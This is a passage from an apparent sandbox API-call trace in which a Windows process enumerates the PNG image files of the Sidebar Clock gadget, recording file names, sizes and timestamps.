nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb904ba93, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb904ba93, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb904ba93, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb904ba93, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9071bf2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9071bf2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9071bf2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9071bf2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb506831c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb506831c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb506831c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb508e47c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb508e47c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90e400f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90e400f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50b45dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0089.952] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb910a16e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb910a16e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50da73c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91302cd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb91302cd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50da73c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91302cd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb91302cd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50da73c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb915642c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb915642c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb510089c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb915642c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb915642c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb510089c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb915642c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb915642c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb510089c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb917c58b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb917c58b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb51269fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e82a1f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e82a1f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacer_highlights.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="square.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ececdd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ececdd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_dot.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5361e9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_h.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5361e9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_m.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ececdd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ececdd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb54466dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_s.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ef4e3c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ef4e3c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56a7cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d87, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_settings.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ef4e3c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ef4e3c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56a7cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f410fa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f410fa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_dot.png", cAlternateFileName="")) returned 1 [0089.953] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_h.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_m.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56f3f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_s.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f410fa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f410fa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56f3f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5a3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_settings.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f67259, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f67259, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb571a0fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fd9676, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fd9676, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb574025c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_dot.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f8d3b8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f8d3b8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb574025c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_h.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f8d3b8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f8d3b8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb57663bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_m.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fb3517, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fb3517, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5ad235c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_s.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb621c6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb621c6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 0 [0089.954] GetLastError () returned 0x12 [0089.954] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0089.954] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.954] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c6d6ed, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c6d6ed, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44f393c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_dot.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c2142f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c2142f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44f393c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_h.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c4758e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c4758e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4bf19dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_m.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c6d6ed, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c6d6ed, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e2ce7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_s.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c9384c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c9384c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e52fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7454, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_settings.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e52fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x77b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cdfb0a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cdfb0a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e7913c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_dot.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e7913c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_h.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: 